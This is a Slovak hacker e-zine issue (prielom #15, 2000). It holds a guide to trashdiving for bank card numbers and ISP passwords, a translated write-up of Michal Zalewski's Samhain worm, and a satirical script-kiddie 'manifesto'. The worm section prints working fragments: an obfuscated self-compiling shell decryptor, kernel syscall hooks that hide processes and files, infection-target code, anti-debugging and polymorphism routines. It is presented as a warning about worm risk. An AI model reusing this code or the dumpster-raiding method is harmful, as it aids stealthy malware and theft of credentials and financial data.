::::::::::. :::::::..   :::.,::::::   :::         ...     .        :   
    `;;;```.;;;;;;;``;;;;  ;;;;;;;''''   ;;;      .;;;;;;;.  ;;,.    ;;;  
     `]]nnn]]'  [[[,/[[['  [[[ [[cccc    [[[     ,[[     \[[,[[[[, ,[[[[, 
      $$$""     $$$$$$c    $$$ $$""""    $$'     $$$,     $$$$$$$$$$$"$$$ 
      888o      888b "88bo,888 888oo,__ o88oo,.__"888,_ _,88P888 Y88" 888o
      YMMMb     MMMM   "W" MMM """"YUMMM""""YUMMM  "YMMMMMP" MMM  M'  "MMM

   prielom #15, 07.09.00 , prielom(at)hysteria.sk, http://hysteria.sk/prielom/


obsah




intro

bingo, novy prielom.
po dlhsej odmlke sposobenej polrocnou drinou sme tu zas. vlastne co to hovorim.. aka odmlka.. ked pouzivam terminy ako "oneskorenie", "odmlka" a podobne, tak tym nechtiac navodzujem atmosku, akoze by mal prielom vychadzat povinne v pravidelnych intervaloch.
hovno s makom
ak bude po tomto este dalsie cislo, berte to ako mile prekvapenie..

hysterka je totiz v stave existencnej krizy a s nou aj prielom. je na case decentne zrusit dnesnu podobu hysterky este kym jej jednotlive casti (arxiv, prielom, cZert...) tvorene v obdobi 1994-97 posobia "milo folklorne" a nie trapne detinsky.

myslim ze hysterka splnila svoj ciel - spojit ludi s podobnym konickom. mnoho projektov, www stranok ci kamaratstiev priamo vzniklo v prostredi hysteria.sk, alebo ich aspon hysterka ovplyvnila. ale moja snaha najst novych ludi ktori by krmili samotnu hysterku novymi napadmi az, taku odozvu nenasla. server skapina hardverovymi problemami a nedostatkom cerstveho obsahu.

priatelia a pribuzni pacienta... pripravte sa na najhorsie..

pajkus, 03.09.00, bratislava


trashdiving po slovensky

trashdiving (resp. trashing) - vyberanie smetnych kosov, ktore sa nachadzaju pri rozlicnych instituciach, za ucelom ziskania zaujimavych informacii, je napr. v usa velmi popularna cinnost. kazda kvalitnejsia session alebo con skonci obvykle pri odpadkovych kosoch at&t alebo ma bell. v nasich stredoeuropskych podmienkach je to vsak cinnost takmer vobec nepraktikovana, ak nepocitam mna a par mne blizkych ludi, nepocul som o nikom, kto by sa nou zaoberal. co je vsak urcite na skodu, pretoze trashovanie je proces nadovsetko zabavny.

na akciu (odporucam tak raz za 3-4 tyzdne) sa treba poriadne pripravit. zakladom su rukavice, bez ktorych sa, ak nie ste naozajstni humusaci, nezaobidete. ale nezabudnite ani na minimalne tri vacsie igelitove tasky, do ktorych vytrashovany material nahadzete, obvykle ste v casovej tiesni. baterka taktiez nie je na zahodenie, pretoze predsa len, trashovat za bieleho dna, to je prisilna kava aj pre anarchistickejsich jedincov.

dalsou dolezitou castou je vyber institucii, ktorym sa hodlate pozriet na zubok. toto vsak v nasich slovenskych ubohych podmienkach ani nemusite pripravovat vopred, pretoze aj bratislava je malomesto, ktore sa da za jeden vecer v pohode takmer kompletne obehat. treba sa zamerat najma na banky (mozny nalez vypisov z uctov, na ktorych su cisla kreditnych kariet), internetovych providerov (obvykle sa vytrashuju maximalne dialup hesla, niekedy sa postasti aj nejaky ftp alebo telnet pass) a pravdaze telekomunikacie (mozne zaujimave info, manualy k ustredniam, cisla na ustredne, hesla). fantazii sa medze nekladu, institucii je dost, netreba sa obmedzovat. ide predsa o informacie a napr. zaujimave sumy sa najdu aj za fondom narodneho majetku. to, ze tieto institucie skartovace takmer vobec nepouzivaju, je u nas na slovensku samozrejmost. prinajhorsom je dokument roztrhnuty na dve polovice.

ked uz sa nachadzate pri vyhliadnutej budove, obehnete si ju dookola a dufate, ze najdete smetny kos, banky a vacsi provideri maju obvykle smetne kose dobre skryte v svojom areali, resp. v podzemi, takze s tym sa mozete hned rozlucit, ak nehodlate mat problemy s bezpecnostnou sluzbou. naproti tomu, telecom vas casto nesklame. maju sice okolo svojho arealu nejaky provizorny mur alebo plot, avsak vysoky akurat tak, ze sa da preskocit jednym tahom. celemu procesu to dodava urcitu davku adrenalinu. mensi provideri sa casto nachadzaju v budovach spolocne s inymi firmami a kancelariami, smetny kos je najcastejsie pred budovou na hlavnej ulici. to je tiez celkom zaujimavy zazitok, ked okolo vas chodia ludia a auta a vy sa hrabete v smetnom kosi. otvorte kos s odpadkami, pozrite, ci su dnu papiere, ak ano, tak naberajte vsetko, co najrychlejsie ako mozete, pravdaze v rukaviciach, do vopred pripravenych igelitovych tasiek. zajdite za roh na nejake tmave miestecko a vsetko pekne pretriedte.

triedenie je zazitok sam o sebe. pri nakladani vsetkeho mozneho do igelitovych tasiek sa nevyhnete aj rozlicnym nechcenym objektom. ked si myslite, ze obal od cokolady je humus, tak triedenie prenechajte radsej niekomu inemu. este aj zhnita bananova supka je slaby odvar oproti nedojedenemu kelimku od tresky, v ktorom sa nachadza damska vlozka. nepytajte sa ma, co to robilo medzi klientskymi zmluvami jedneho nemenovaneho providera.

necakajte od trashdivingu velke zazraky. sem tam najdete nejake to zaujimave info, pri nutnej davke stastia aj par hesiel, ktore si pri troche sikovnosti a vole, mozete zadovazit aj pomocou svojho unixoveho umenia. trashing je o niecom inom. trashing je o akcii v terene, o adrenalinovom preskakovani plotov, o hnusnom a odpornom humuse, co vam postupne prechadza cez ruky a o radosti z toho, ze nakoniec z tych vsetkych sraciek ste vytiahli aj nieco uzitocne. trashdiving je alternativna zabavka pre alternativnych ludi.

hromi, hromi(at)hysteria.sk

navrat na obsah
co ty na to ? board


DOYOULOVEME??

po nedavnej afere s cervom ILOVEYOU, ktora otriasla hlavne medialnym svetom isty pan zalewski (pre mnohych, ktori sleduju bugtraq nie neznamy) usudil, ze nebude tak celkom od veci ludom ukazat, ze tento sposob nie je to, coho by sme sa mali bat a publikoval v uz spominanej konferencii zaujimavy prispevok, popisujuci projekt, na ktorom pracoval. odovodnil to slovami:

"media, podporovane altavista "expertmi", vykreslili apokalypticku viziu destrukcie sposobenu hlupym m$ outlook/vbs cervom, nazvanym "ILOVEYOU". absurdne odhady - 10 milionov dolarov vynalozenych na "odstranovanie skod", specialne ked sa blizsie pozriete na rychlostou svetla rastuce hodnoty tychto spolocnosti na trhu, pride mnohym ludom zle. trapna vbs aplikacia, ktora sama o sebe sa nedokaze sirit bez luzerskej klikni-na-mna! interakcie a je limitovana na jeden operacny system, urceny pre stolove pocitace... cerv, ktory posle sameho seba ludom vo vasom e-mailovom adresari a vo svojej originalnej verzii znici mp3 subory na disku. a vy ho nazyvate nebezpecnym? prestante si robit srandu.."

uz davnejsie ho zaujimalo, ci je take tazke vytvorit naozaj nebezpecneho internetoveho cerva, ktory by dokazal byt skodlivejsi ako znamy morrisov cerv spred par rokov. spolu s par priatelmi svoj projekt nazvali "samhain". dali si za ciel sedem kriterii, ktore musi splnat:

na tychto siedmych principoch polozili celu svoju pracu, tento text opisuje idey, koncepty a uryvky implementacie. v ziadnom pripadne nema sluzit ako teroristicka prirucka a nebol zverejneny na to, aby pomohol ludom napisat ich vlastny podobny kod. bol napisany preto, aby ukazal seriozne potencialne riziko, ktoremu nemozeme virtualne zabranit alebo ho zastavit, nie je iba v cisto hypotetickej rovine. casti kodu, ktore su zverejnene su iba zlomkove a casto pochadzaju z ranych verzii.

"ale nezabudajte - funkcny model bol napisany. a ten je smrtelne nebezpecnym mechanizmom, ktory moze byt pouzity na velmi zle veci. pravdepodobne sme neboli prvi, ktori o tom premyslali a pokusili sa ho napisat. to je to, co nas znepokojuje..."

"zima 1998, traja znudeni ludia kdesi v strednej europe. posadte sa a relaxujte."

1: portabilita

toto je pravdepodobne najdolezitejsia vec - nechceme predsa kod, ktory bude bezat iba na windowsoch, linuxe alebo solarise, alebo este horsie, ktory bude schopny fungovat iba na x86 platforme. uloha ma jednoduche riesenie, ked sa rozhodnete vytvorit kod v platformovo nezavislej forme. ako to moze byt docielene? vacsina systemov ma prekladac jazyka c. tak mozeme sirit cerva vo forme zdrojoveho kodu s jednoduchym desifratorom (povedzme, ze to bude shellovy skript).

ale pockat, niektore (nie je ich tak vela) systemy nemaju prekladac cecka. co mozeme v takejto situacii urobit? pouzitim wormnetu, cerv pocas infikacie moze poziadat ostatnych clenov wormnetu o skompilovany binarny kod pre danu platformu. detailnejsi popis wormnetu je v sekcii 4. i tak, binarka bude obsahovat prilozeny zdrojovy kod na dalsie infekcie. popis fazy infikovania je v sekcii 3.

prva verzia dekryptora vyzerala takto:

const char decryptor[]="#!/bin/bash\nX=/tmp/.$RANDOM$$\n(dd if=\"$0\" of="
"$X.f~ ibs=1 skip=\x01\x01\x01\x01 count=\x02\x02\x02\x02\x02\x02 ;dd if="
"\"$0\" of=$X.b~ ibs=\x03\x03\x03\x03\x03 skip=1;echo \"int x;main(int c,"
"char**v){char a[99999];int i=read(0,a,99999);for(;x<i;)a[x++]-=atoi(v[1]"
");write(1,a,i);}\" >$X.d~;test -x /tmp/.a012382~||cc -x c $X.d~-o/\tmp/."
"a012382~;/tmp/.a012382~ \x04\x04\x04 <$X.f~>$X.gz~;gzip -cd <$X.gz~>$X.c"
"~;rm -f $X.f~ $X.d~;cc -O3 -x c $X.c~ -o $X~;chmod 755 /tmp/.a012382~)&>"
"/dev/null;test -x \"$0\"&&exec $X~ \"$0\" $@\n";

pouziva velmi jednoduchu (po bajtoch sa avysujucu) "enkrypciu" zdrojoveho kodu so specifickou inkrementalnou hodnotou (dekryptor sa modifikuje v zavislosti od zvolenej hodnoty - \x01, \x02, \x03 a \x04 sa menia sifrovacou rutinou). tak isto, tento konstantny dekryptor je kazdy raz prepisany za pouzitia jednoducheho polymorfneho mechanizmu (sekcia 6) aby sa vyvaroval konstantnych retazcov. neskor sme modifikovali enkrypcnu rutinu na nieco o trochu silnejsie - v skratke, iba robi ovela zlozitejsie odhalenie cerva v neaktivnej forme.

ako mozete vidiet, tento dekryptor (alebo jeho rana verzia ukazana vyssie) nie je prilis portovateny - co ak nemame bash, prekladacm gzip alebo podobne utilitky? to bol jeden z dovodov, preco sme sa rozhodli spojit cervy do wormnetu - ak sa vyslany kod nespoji spat k materskej kopii a neoznami svoju cinnost, ciel nie je oznaceny za infikovany a wormnet je poziadany o predkompilovanu binarku pre danu architekturu (za predokladu, ze uz tato architektura bola nekde na svete infikovana).

sebastian napisal virovy kod, ktory bol schopny sa sirit na win/dos platforme s c-prekladacom a unixovych systemoch bez akejkolvek modifikacie alebo interkacie. instaloval sameho seba ako trojskeho kona do prekladaca (modifikoval vkladane hlavickove subory, aby vlozil svoje instrukcie do kazdej skompilovanej binarky). vola sa califax a bol vyvinuty pocas prac na projekte samhain ako cvicenie na ukazku, ze taketo medziplatformove skoky su mozne. nechcem pouzivat sebastianove zdrojove kody bez jeho povolenia, vsetko co som tym chcel povedat je, ze to spravil na menej ako 415 riadkov kodu. califax nebol nijako spojeny s projektom sahain, pretoze sme nechceli infikovat winbloze z ideologickych dovodov :P

2: neviditelnost

po naburani systemu, cerv nemusi vzdy dosiahnut rootovske prava, takze prvorade je implementovat techniky, ktore by boli schopne ho zamaskovat, vydavat za iny proces v systeme a stazit zneskodnenie pokym je sanca ziskat vyssie privilegia (detaily v sekcii 3). takisto sme sa zhodli, ze by bolo dobre, aby sa tazko debugoval/krokoval cerv aj v neaktivnom stave - v sekcii 5 najdete podrobnosti o anti-debugovacich technikach.

nas maskovaci kod pre neprivilegovany rezim pozostava z nasledujucich casti:

nas ciel bolo docielit, aby bolo takmer nemozne (s beznymi nastrojmi) "chytit" proces samotny, vseky /proc parametre (pid, exe name, argv[0]) sa menia a i ked je jeden z nich dostinuty, mame zrkadlovy proces. nasledujuci komentar pochadza z README libworm pre unixove systemy:

-- odstrihnute z README --

a) anti-skenovacie rutiny

nasledujuce rutiny su urcene na odhalenie "anti-cervej techniky", ako napriklad
kill2, pripadne hocico ine, prefikanejsie. pouzivaju sa pred volanim fork():

int bscan(int lifetime);

  bscan robi "povrchne skenovanie" za pouzitia iba dvoch dcerskych procesov.
  zivotnost moze byt nastavena na hodnoty okolo 1000 mikrosekund. navratove
  hodnoty:
  0 - ziadne anti-cervie techniky neboli zistene, pouzit ascan alebo wscan.
  1 - primitivne techniky zistene (ako "kill2"), pouzit kill2fork()
  2 - prefikane (alebo hrube) techniky odhalene, trpezlivo pockat

int ascan(int childs,int lifetime);

  ascan produkuje "vyspelejsie skenovanie" pouzivajuc dany pocet dcerskych
  procesov (hodnoty medzi 2 a 5 su postacujuce). testuje prostredie
  vykonstruovanim  falosneho utoku forkbombou. vysledky su ovela presnejsie:
  0 - ziadne anti-cervie techniky nezistene, pouzit wscan.
  1 - anti-cervie utility v operacnom rezime.

int wscan(int childs,int lifetime);

  wscan funguje podobne ako ascan ale pouziva system "chodiaceho procesu".
  vyzera chybovo, vzdy vracia '1' bez akehokolvek dovodu ale je to taktiez
  najlepsia odhalovacia technika. navratove hodnoty:
  0 - ziadne anti-cervie techniky nezistene.
  1 - beziace anti-cervie utility.

int kill2fork();

  toto je alternativna verzia volania fork(), navrhnuta na oklamanie hlupeho
  anti-cervieho programoveho vybavenia (pouzije sa, ked bscan vrati 1).
  navratova hodnota: taka ako fork().

b) maskovacie rutiny

nasledujuce rutiny su navrhnute za ucelom maskovania a skrytia aktualneho
procesu:

int collect_names(int how_many);

  collect_names vytvori tabulku s poctom zaznamov "how_many". tato (pristupuje
  sa k nej cez "cmdlines[]" rozhranie) obsahuje mena procesov v systeme.
  navratova hodnota: pocet zozbieranych procesov.

void free_names();

  tato funkcia uvolni miesto alokovane funkciou collect_names ked uz viac nie je
  potrebne vyuzivat cmdlines[].

int get_real_name(char* buf, int cap);

  ziskame nou skutocne meno spustitelnej binarky pre aktualny proces do buf
  (kde cap znamena maximalnu dlzku)

int set_name_and_loop_to_main(char* newname,char* newexec);

  tato funkcia zmeni viditelne meno procesu na nove (moze byt zvolene pomocou
  cmdlines[]), potom zmeni meno binarky na "newexec" a vrati sa na zaciatok
  funkcie main(). nezmeni pid. ak je "newexec" NULL, binarka sa nepremenuje.
  navratova hodnota: nenulova, ak nastane chyba.

  poznamka: premenne, stack a vsetko ostatne sa zresetuje. treba pouzit iny
  sposob (rury, subory, mena suborov, mena procesov) na vymenu dat zo starej
  binarky do novej.

int zero_loop(char* a0);

  tato funkcia vracia 1 ak je main() dosiahnuta prvy krat alebo 0, ak uz bola
  pouzita set_name_and_loop_to_main(). argv[0] je vkladany ako parameter. iba
  jednoducho skontroluje, ci real_exec_name prezentuje argv[0].

-- EOF --
tieto rutiny su relativne slabe a pouiztelne iba na kratkodobe skryvanie procesov. cielom je cim skor ziskat rootovske privilegia (opat diskutovane neskor). potom dosiahneme ziadaneho vysledku. pokrocile skryvanie procesov je vysoko zavisle od systemu, obvykle riesene cez sledovanie systemovych volani. vytvorili sme zdrojove kody pre univerzalne moduly urcene na skryvanie na zopar systemoch, avsak nie su funkcne na vsetkych platformach, ktore je samhain schopny napadnut. techniky tu pouzite su zalozene na dobre znamom principe ukrytych modulov.

nas linux 2.0/2.1 (2.2 a 2.3 jadra v tom case este neboli zname), modul vyuziva techniku popisanu neskor v prispevku nazvanom "abtrom", ktory sa objavil v bugtraqu od 28. augusta 1999, sledovanie systemovych volani. sebastian napisal skryvacie techniky v zavislosti na suboroch (na vracanie povodneho obsahu infikovanych suborov), pokial som ja vyvinul techniky na ukryvanie procesov a interface cerva. modul sledoval volania open, lseek, llseek, mmap, fstat, stat, lstat, kill, ptrace, close, read, unlink, write a execve.

na ukazkum nove volanie llseek moze vyzerat takto:

int new_llseek(unsigned int fd,unsigned int offset_high,
               unsigned int offset_low,int *result,unsigned int whence) {
  retval=old_llseek(fd,offset_high,offset_low,result,whence);
  if (retval<0) return retval;
  if (!(file=current->files->fd[fd])) return retval;
  if (S_ISREG(file->f_inode->i_mode) || S_ISLNK(file->f_inode->i_mode))
    if (is_happy(fd) && file->f_pos < SAMLEN) file->f_pos += SAMLEN;
  return retval;
}
v tomto pripade sme chceli vynechat kod loaderu samhain na zaciatku suboru. funkcia is_happy() sa pouziva na identifikaciu infikovanych suborov. nanestastie, musi tiez overovat dlzku loaderu - nezabudajte, je dynamicky generovany. toto je cast kodu z is_happy() pouzita na zistenie tejto dlzky z nasej rutiny dekryptora:

    // Determine where ELF starts...
    file->f_pos=0;
    BEGIN_KMEM
    r=file->f_op->read(file->f_inode, file, buf,sizeof(buf));
    END_KMEM
    // Groah! We have to write out own atoi... Stupido ;-)
    znaki=0;
    while (znaki!=TH && ++v9) { znaki=1;break; } // Format error (!)
        SAMLEN+=(buf[v+poz++]-'0')*mult;
        mult=mult/10;
      }

cerv sa nesiri po filesysteme prilis nasiroko, takze tento problem nezasahuje vela suborov - iba par spustitelnych, volanych pri bootovacom procese - na zaistenie stalej pritomnosti v pamati (rezidentnosti). skryvanie procesov je v podstate vseobecne:

int new_ptrace(int req,int pid,int addr,int dat) {
  x=0;
  buf[20]=0;
  sprintf(b,"/proc/%d/cmdline",pid);
  if (active)
    BEGIN_KMEM
    x=old_open(b,O_RDONLY,0);
    END_KMEM
  if (x>0) {
    BEGIN_KMEM
    read(x,b,1);
    END_KMEM
    close(x);
    if (!b[0]) return -ESRCH;
  }
  return old_ptrace(req,pid,addr,dat);
}

takisto musime ukryt sietove spojenia wormnetu a poslanych / prijatych paketov wormnetu, aby sme sa vyhli odhaleniu pomocou tcpdump, sniffit atd.

to je vsetko, nic nezname. podobny kod bol napisany pre par inych platforiem. pozrite si napr. afharm alebo sebastianove Adore moduly pre nazornu ukazku implementacie skryvacich technik.

3: nezavislost + 4: ucenlivost

wormnet. magicke slovo. wormnet je vyuzivany na distribuovanie upgradnuteho kodu, modulov (napr. nove exploity) a na vzajomnu komunikaciu cervov pri ziadostiach o predkompilovanu binarnu formu. komunikacna schema skutocne nie je az taka zlozita, pouzivaju sa tcp streamy a broadcast spravy v nich. spojenie nie je stale. samhain vyuziva styri druhy ziadosti:

pakety su "kryptovane" (opat, nic silne) klucom priradenym specifickemu spojeniu (generovane z materskej ip adresy, ktoru cerv ziska pri infekcii). typ je popisany jedno-bitovym polom, nasleduju ho infomracia o velkosti a data alebo retazce ukoncene nulovym znakom, pripadne i ttl/casove informacie (zalezi od typu spravy).

struktura spojeni wormnetu moze vyzerat lubovolne a je limitovana iba poctom spojeni na jedneho cerva. spojenia su iniciovane od dcerskeho procesu smerom k materskemu, obvykle obchadzajuc firewally a maskaradovaci softver.

pri infekcii sa dcerskemu procesu vygeneruje kratky zoznam predchadzajucich materskych procesov. ak uz matersky proces obsluhuje prilis vela spojeni v danom case, novy proces sa spoji s inym cervom zo zoznamu.

          3
          |
          |
  3 ----- 2 ---- 3 ----- 4 ------- 5 ------- 6
  |     /        |                 |
  |   /          |                 |
  | /            |                 |		mozna struktura wormnetu.
  1 ------------ 2 ----- 3         6		cisla reprezentuju poradie,
    \                  /			v akom boli hostitelia
      \              /				infikovani. vyznaceny host "3"
        \          /                            sa z nejakeho dovodu nemohol
          \ ---- 3 ------ 4                     spojit so svojim materskym
                 |                              procesom, preto nadviazal
                 |                              spojenie s hostom "1", ktoreho
                 |                              mal poznaceneho v zozname.
                 4

ok, poviete si, a co exploity? exploity su modularne (pripojene k telu cerva) a rozdelene do dvoch kategorii - lokalne a remotne. chceme byt nezavisli na platforme, tak prihliadame na chyby filesystemu, chyby ako napriklad -xkbdir v xwindows a vlozime len zopar buffer overflowov, hlavne pre remote pristup (ale rozhodli sme sa pouzit aj par chyb ako remote pine mailcap exploit a podobne...kod je naozaj majstrovskym kusom shelloveho skriptu :)

obidva typy, aj remote aj lokalne exploity su zoradene podla ucinnosti. exploity, ktore maju najvyssiu uspesnost sa skusaju ako prve, menej ucinne sa presuvaju na koniec. tento zoznam dcerske procesy dedia.

ah, sirenie. obete su volene pomocou monitorovania aktivnych sietovych spojeni. servery sa vyberu nahodne z tohto zoznamu a cerv sa ich pokusi napadnut. v pripade uspechu je server zaradeny do zoznamu uspesne napadnutych hostov a uz nie je viac napadany. v pripade neuspechu sa cerv nepokusa o dalsi vypad az pokym sa neobjavi nova, vylepsena verzia. samozrejme, interny zoznam je konecny a obcas sa moze stat, ze server je napadnuty znovu (ak to nie je nas potomok a nie je prave napojeny) ale koho to trapi - pokus bude ignorovany alebo prebehne upgrade, v zavislosti na casovych znackach.

tento kod je pouzity na ziskanie dalsieho ciela (zo zoznamu aktivnych spojeni)

void infect_host(int addr) {
  struct hostent* h;
  int (*exp)(char*);
  int i=0,n=0,max=VERY_SMALL;
  if ((0x7F & addr)==0x7F) return;      // vynechaj 127.* subnet :-)
  h=gethostbyaddr((void*)&addr,4,AF_INET);
  if (is_host_happy(h->h_name)) return; // vo wormnete?
  for (i=0;remote[i].present;i++) remote[i].used=0;
  while ((max=VERY_SMALL)) {
    n=-1;
    for (i=0;remote[i].present;i++)
      if (!remote[i].used && remote[i].hits>=max) { max=remote[i].hits;n=i; }
    if (n<0) break;
    exp=remote[n].handler;
    remote[n].used=1;
    current_module=n;
    remote[n].hits+=(i=exp(h->h_name));
    if (i>0) break;
  }
}

5: integrita

najdolezitejsou vecou v zivote cerva je nedat sa chytit. chceme si byt isti, ze nie je lahke nas vystopovat/debugovat - chceme urobit reverzne inzinierstvo co najtazsim. nechceme ukazat nase interne protokoly wormnetu, komunikaciu s modulom v jadre a detekcne techniky pouzivane samotnymi cervami na kontrolovanie samych seba navzajom, atd. styri veci:

pouzili sme zopar anti-debugovacich technik, vratane chyb zavislych na aplikaciach (chyby v strace pri zobrazovani niektorych vadnych parametrov pri systemovych volaniach, chyby v gdb pri parsovani elf hlaviciek, obchadzanie ramcovych pointrov, samomodifikujuci sa kod a tak dalej), ako aj zopar univerzalnych anti-debugovacich rutin, ktore su volane dost casto (nie su narocne na cas). toto je jedna z nich:

void kill_debug(void) {
  int x,n;
  n=getppid();
  if (!(x=fork())) {
    x=getppid();
    if (ptrace(PTRACE_ATTACH,x,0,0)) {
      fprintf(stderr,
          "\n\n\n**************************************\n"
                "*** NAOZAJ SA NECHCEM DAT STOPOVAT ***\n"
                "**************************************\n\n\n");
      ptrace(PTRACE_ATTACH,n,0,0);
      kill(x,9);
    }
    usleep(1000);
    ptrace(PTRACE_DETACH,x,0,0);
    exit(0);
  }
  waitpid(x,&n,0);
  return;
}

ako som uz povedal, cervie moduly su podpisane. najprv su pouzite jednoduche podpisy, neskor pouzivaju jednoduchy system privatnych klucov (naozaj nic tazke, co by sa nedalo cracknut, kluc je relativne kratky ale je to dostatocne zlozite pre amaterov) tymto je zabezpecene, ze nahradzame nasho cerva skutocncym cervom, nie podvrhnutyn zabijakom.

6: polymorfizmus

polymorfny mechanizmus je v podstate jednoduchy - navrhnuty na to, aby sme si mohli byt isti, ze nas dekryptor bude vzdy iny. kedze je napisany ako shellovy skript, je velmi lahke pridat par matucich prikazov, vlozit prazdne premenne, vlozit \ alebo nahradit niektore casti uz deklarovanymi $PREMENNYMI_SHELLU. ziskat spat povodny obsah nie je jednoduche ale vsetko co potrebujeme je imitovat parsovanie dekryptoru - a mame povodny kod.

pridavanie \ do dekryptoru moze vyzerat takto:

  while (decryptor[x]) {
    switch (decryptor[x]) {
      case ' ':
        if (!rnd(2)) buf[y++]=' '; else goto difolt;
        break;
      case '\n':
        if (!you_can) you_can=1;
      default:
      difolt:
        if ((you_can && you_can++>1) && !rnd(10) && decryptor[x]>5 &&
             decryptor[x]!='>' && decryptor[x]!='<' && norm>2) {
          buf[y++]='\\';buf[y++]=10;norm=0;
        } else {buf[y++]=decryptor[x++];norm++;}
    }
  }

7: pouzitelnost

je nahluple vypustit cerva navrhnuteho napriklad na kradnutie tajnych informacii zo specifickeho hostitela, pretoze nemame ziadnu istotu, ze bude fungovat naozaj spravne a nebude polapeny. ak ano, moze byt debugovany (ne spraveny tak, aby sa dallen velmi tazko, ale ako kazdy program, nie je nemozne to urobit, specialne ak sa vam podari ziskat separovany kod cerva). namiesto toho mozeme vypustit neskodneho cerva, potom, ked sa uistime, ze dosiahol zaujimavych hostitelov a doteraz nebol chyteny, mozeme rozoslat upraveneho noveho cerva, ktory bude obsahovat nas zaskodnicky kod. ten sa bude snazit dosiahnut vsetky cervy vo wormnete a upravi ich podla seba.

mozno to nie je najlepsie riesenie ale je to urcite ovela viac bezpecnejsie ako standardne vkladat zadne vratka.

8: a co sa stalo potom?

tak to je on, projekt samhain, ktory sa zmestil do priblizne 40 kb kodu. co sa s nim stalo? nic. nikdy nebol vypusteny a nikdy neboli odstranene obmedzenia z rutin lookup_victim() a infect_host(). stale lezi na mojom disku, usadza sa na nom prach a OBLIVION a to je presne to, co sme chceli.

prestal som vyvijat a testovat novy kod v januari 1999, vo verzii 2.2 a pri priblizne 10 000 riadkoch kodu. wojtek bojdol vyvijal jeho ovela lepsie premysleny wormnet a system infekcie/monitorovania do februara alebo marca, ale nikdy som nenasiel dostatok casu spojit jeho zdrojove kody s povodnymi. potom sme odstranili nas archiv zo serveru s pristupom zo siete, ktory sme pouzivali na vymenu napadov. neskor som publikoval par chyb pouzivanych v databazi exploitov v bugtraqu, niektore (hlavne tie, ktore som neobjavil ja) sme si nechali pre seba.

pribeh sa skoncil. az do dalsieho dazdiveho dna, dalsich troch znudenych hackerov. mozete si byt isti, ze sa to stane. jedina vec, ktorou si byt isti nemozete je koniec dalsieho pribehu.



nechcem sa hrat na proroka alebo jasnovidca, ale dovolim si tvrdit, ze takyto scenar sa mozno uz coskoro stane realitou. ludia nechcu byt v bezpeci, nikdy nebudu dostatocne prihliadat na skutocne fakty. hackli nas? ale, ved sa tolko nestalo, ututlat.. distribuovane utoky? kazdy sa citi bezpecne ale je to klamliva bezpecnost. citia sa spokojni ale veci sa deju, to ze si to niekto nevsimne neznamena, ze je vsetko v poriadku..

ved si len skuste na svojich "bezpecnych" serveroch spravit: find /dev -type f a kludne sa stavim, ze kvantum z vas bude velmi nemilo prekvapenych. ale to je len vrchol ladovca. to, co najdete, su len nevinne hracky pre deti..

este bude veselo.

autor: michal zalewski, lcamtuf(at)tpi.pl
preklad, uprava: salo

navrat na obsah
co ty na to ? board


bratislavsky heker a jeho manifesto

povedaly mi, abi som napysal clanok o sebe do tohto casopysu "zlom". tak tu vam teda o sebe pysem. aha ale este nieco: ak chcete bit taky dobri ako ja, musyte vela hekovat a musite byt strasne inteligentny.

viete, no, hekovat som zacal, ked som mal 14. teras mam 15 a som uz velmi dobri heker. pracujem na pocitaci s windows 98, ktore som sy aj sam nainstaloval. moj pocitac je pentium 5 1200mhz, mam 512 mb ram a velki disk. mam cd-romku, napalovacku a vsetko co existuje. rat sa hram hri a mynule som na internete nasiel cheaet na quake a hekol som tu hru. viem si teraz sam pridat zivoti aj zbrane a vsecko co chcem.

mam sa rad. ale este radsej mam kevina mytnicka. ten bol vazne dobry. viete, raz chcem byt ako kevin. aj preto uz mam precytane vsetky navody co som nasiel na internete (v altaviste). cital som how to hack unix od c00lhacka, tiez som cital hacking linux - 10 dobrych rad, od fuckin' radical byte rippera a tiez som cital how to hack government computers od frozen hack kinga. ako vydite, som dobri.

moje oblubene hekerske nastroje pod windows su winnuke (ten je vazne dobri), potom black orifice (hahaha, mynule som ho poslal mame do roboti a vymazal som jej cely disk!) a potom este aj unabomber (to je taki program, co s nim niekomu mozte poslat aj tisyc mailov a mozte si vybrat z akej adresy mu to pride a on vas potom nema ako zystit!!!).

strasne by som chcel heknut stranku nasej skoly. skola sucks, sucks, sucks, sucks!!! dobre ma nasrala dneska triedna, lebo ma vyvolala zo slovenciny. tak heknem skolsku stranku a napysem tam, ze je krava!!! uz viem ako sa vola ten hlavni subor co treba heknut - "index.html". neviete niekto ako zistim nejaku "ip adress"? zevraj ked to zystite, tak potom uz je to lachke heknut. (to pysali v hacking manual-e od knight-a deadly-ho). inac, zakladam hekersku skupynu, budeme sa volat killing bastarts, takze ak niekto chcete sa prydat a ste naozaj dobri heker, tak mi napyste na tento e-mail: peter_ondruscak@kancelaria.potraviny-u-kamila.sk

to je email mojho oca, takze tam ako mate ze: "subject:" napiste "pre jozefa" a on mi to vytlaci a donesie. ja nemam internet doma a chodim k nemu do prace. inac, ked niekdo viete ako si hacknut emailovu adresu na hotmeily, tak mi povecte, lebo zevraj to je lachke.

no, tak este vam poviem nieco o sebe. pocuvam hlavne tvrdu muziku - rammstein a metallicu, ale dobra je aj elektronycka hudba ako aqua a eiffel 65. mam jednu sestru, ale ona je krava - ma 20 rokov a furt sa zatvara do izbi so svojym frajerom. a ten je ties blbec, lebo vobec nevie robyt s windows a stale nieco trepe o aix a neviem co este. z jedla mam rad pizzu a na pytie cocacolu. (to aj kevin mytnick mal rad!!!!) z hier mam rad quake a formule. a este mam rad heking, ckraking a freking.

tak a to je vsetko. aha, vlastne hack da planeeeeeeeeeeeeeeeeet!!!!!!!

fez0j da hacka (to fez0j je akoze moje meno odzadu, to som sam vimislel)


p.s. - podobnost s realnymi osobami, miestami, potravinami a operacnymi systemami je cisto nahodna. ak si myslite, ze takito hackeri su napriklad ten, tamten, alebo ini, tak to nie, to vobec neni pravda. ne, vazne. vazne! heh.

cut&paste z realneho zivota vykonal niko, niko(at)hysteria.sk

navrat na obsah
co ty na to ? board


kybersaman [dokoncenie]

